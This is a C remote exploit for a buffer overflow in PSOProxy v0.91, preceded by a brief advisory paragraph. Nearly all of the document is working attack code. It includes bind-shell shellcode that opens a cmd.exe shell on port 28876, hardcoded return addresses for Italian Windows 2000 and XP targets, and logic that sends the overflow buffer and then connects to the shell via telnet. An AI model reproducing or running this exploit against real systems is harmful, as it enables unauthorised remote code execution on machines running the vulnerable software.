// source: https://www.securityfocus.com/bid/9706/info
It has been reported that PSOProxy is prone to a remote buffer overflow vulnerability. The issue is due to the insufficient boundary checking.
A malicious user may exploit this condition to potentially corrupt sensitive process memory in the affected process and ultimately execute arbitrary code with the privileges of the web server.
/*******************************************************
* PSO v0.91 Remote exploit *
* by NoRpiUs *
* *
* web: www.norpius.tk *
* email: norpius@altervista.org *
* *
*******************************************************/
#include <stdio.h>
#ifdef WIN32
#include <winsock.h>
#include <windows.h>
#define close closesocket
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
unsigned char shellcode[] =
"\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
"\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
"\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
"\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
"\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
"\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
"\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
"\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
"\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
"\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
"\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
"\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
"\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
"\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
"\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
"\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
"\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
"\x83\xc4\x5c\x61\xeb\x89\x41\r\n";
void errore( char *err )
{
printf("%s",err);
exit(1);
}
void connectz( char *host)
{
char comando[30000];
sleep(5000);
sprintf(comando, "telnet %s 28876", host);
system(comando);
}
void banner(void)
{
fputs("\n\tPSO Remote exploit\n"
"\tBy NoRpiUs\n"
"\tweb: www.norpius.tk\n"
"\temail: norpius@altervista.org\n\n", stdout);
}
void uso( char *progz )
{
printf("Uso: <host> <porta> <target>\n\n");
printf("\tTarget: \n"
"\t1 = Win2k ITA SP4 \n"
"\t2 = WinXP ITA SP0(1)\n"
"\t3 = WinXP ITA SP0(2)\n");
exit(1);
}
int main( int argc, char *argv[] )
{
int sock;
struct hostent *he;
struct sockaddr_in target;
unsigned char evilbuff[1530];
long retaddr1 = 0x796C7DDC;
long retaddr2 = 0x77E7FC79;
long retaddr3 = 0x77EB1933;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(2,0), &wsadata);
#endif
banner();
if ( argc < 4 ) uso(argv[0]);
if ( (he = gethostbyname(argv[1])) == NULL )
errore("\t[-] Impossibile risolvere l'host\n");
target.sin_family = AF_INET;
target.sin_addr = *(( struct in_addr *) he -> h_addr );
target.sin_port = htons(atoi(argv[2]));
fputs("\t[+] Preparazione del buffer...\n", stdout);
memset(evilbuff, 0x41, 1040 );
switch(argv[3][0])
{
case '1': memcpy(evilbuff + 1024, (unsigned char *) &retaddr1, 4); break;
case '2': memcpy(evilbuff + 1024, (unsigned char *) &retaddr2, 4); break;
case '3': memcpy(evilbuff + 1024, (unsigned char *) &retaddr3, 4); break;
default : errore("[-] Target sbagliato\n");
}
memcpy(evilbuff + 1040, shellcode, sizeof(shellcode));
fputs("\t[+] Connessione...\n", stdout);
if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 )
errore("\t[-] Impossibile creare socket\n");
if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )
errore("\t[-] Connessione fallita\n");
if ( send( sock, evilbuff, sizeof(evilbuff), 0) < 0 )
errore("\t[-] Impossibile spedire il buffer\n");
close(sock);
fputs("\t[+] Buffer spedito!\n", stdout);
fputs("\t[+] In attesa della connessione...\n\n", stdout);
connectz(argv[1]);
return(0);
}